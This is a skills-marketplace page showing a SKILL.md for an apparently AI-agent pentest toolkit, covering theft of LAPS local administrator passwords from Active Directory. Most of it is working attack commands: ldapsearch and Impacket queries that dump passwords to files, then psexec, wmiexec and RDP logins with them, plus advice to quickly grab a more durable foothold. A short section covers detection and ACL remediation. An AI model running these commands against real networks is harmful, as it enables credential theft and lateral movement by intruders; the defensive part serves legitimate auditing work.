用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/PurpleAILAB/Decepticon --skill laps命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
| name | laps |
| description | Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd / msLAPS-Password). |
| metadata | {"subdomain":"active-directory","when_to_use":"laps local admin password ldap powerview netexec","mitre_attack":["T1555"]} |
LAPS (Local Administrator Password Solution) stores randomized local
admin passwords on computer objects in AD. Reading them requires
ms-Mcs-AdmPwd (legacy) or msLAPS-Password (Windows LAPS) read
permission — which is OFTEN over-delegated.
# Legacy LAPS schema
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \
'(name=ms-Mcs-AdmPwd)' name
# Windows LAPS (2023+)
ldapsearch ... '(name=msLAPS-Password)' name
# Either present = LAPS is deployed
From BloodHound — anyone with ReadLAPSPassword edge:
MATCH (n)-[:ReadLAPSPassword]->(c:Computer)
RETURN DISTINCT n.name, c.name
Common over-delegation patterns:
GenericAll on Computer objects (implies LAPS read)# Direct LDAP query as authorized user
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > /tmp/laps.txt
# Windows LAPS uses encrypted attribute by default
ldapsearch ... \
'(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \
name dNSHostName msLAPS-EncryptedPassword msLAPS-Password
Impacket helper:
# Recovers legacy LAPS
GetLAPSPassword.py 'DOM/USER:PASS@DC_FQDN' \
-outputfile /tmp/laps.csv
# Newer Windows LAPS w/ encryption: use python-windows-laps or
# manual ASN.1 decode w/ user's DPAPI key
laps_ingest("/tmp/laps.txt")
This adds:
kg_add_node(kind="credential", label="<host>\\Administrator:<plain>",
props={"source":"laps","host":"<host>","expires":"<date>"})
kg_add_edge(src=<cred>, dst=<computer>, kind="local-admin")
Windows LAPS (server 2022+) encrypts the password with a per-principal DPAPI key derived from the AD-stored public key. To decrypt:
dpapi::masterkey), orSet-LAPSADAuditing policyIf neither, the msLAPS-EncryptedPassword blob is useless without context.
# SMB / WMI as local admin
psexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
wmiexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
# RDP
xfreerdp /u:Administrator /p:'LAPS_PW' /v:10.0.0.5 +clipboard
NOTE: LAPS rotates on a schedule (default 30 days). Use the pw quickly and grab a more durable foothold (cached creds, scheduled task, service account hash).
ms-Mcs-AdmPwd attribute is event 4662 on DC
with object type Computer and Properties referencing the AdmPwd GUIDCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.5# Audit who can read LAPS pw on a Computer object
Get-ACL "AD:CN=HOST,OU=Servers,DC=dom,DC=local" |
Select -ExpandProperty Access |
Where {$_.ObjectType -eq '<AdmPwd-GUID>'} |
Format-Table IdentityReference, ActiveDirectoryRights
# Remove over-delegated readers
$acl = Get-ACL "AD:CN=HOST,..."
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
'DOM\HelpDeskGroup', 'ExtendedRight', 'Deny',
'<AdmPwd-GUID>', 'Descendents', '<Computer-GUID>')
$acl.AddAccessRule($ace)
Set-ACL -Path "AD:CN=HOST,..." -AclObject $acl
# Or use the LAPS-shipped audit cmdlet
Find-AdmPwdExtendedRights -Identity 'OU=Servers,DC=dom,DC=local'
7-question gate run before promoting a finding to FINDING + opening a report. Kills weak/non-impactful findings before they reach the report stage and damage validity ratio.
Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.
Mandatory first-turn startup procedure — checks for existing engagements, resume/new selection, workspace initialization.
基于 SOC 职业分类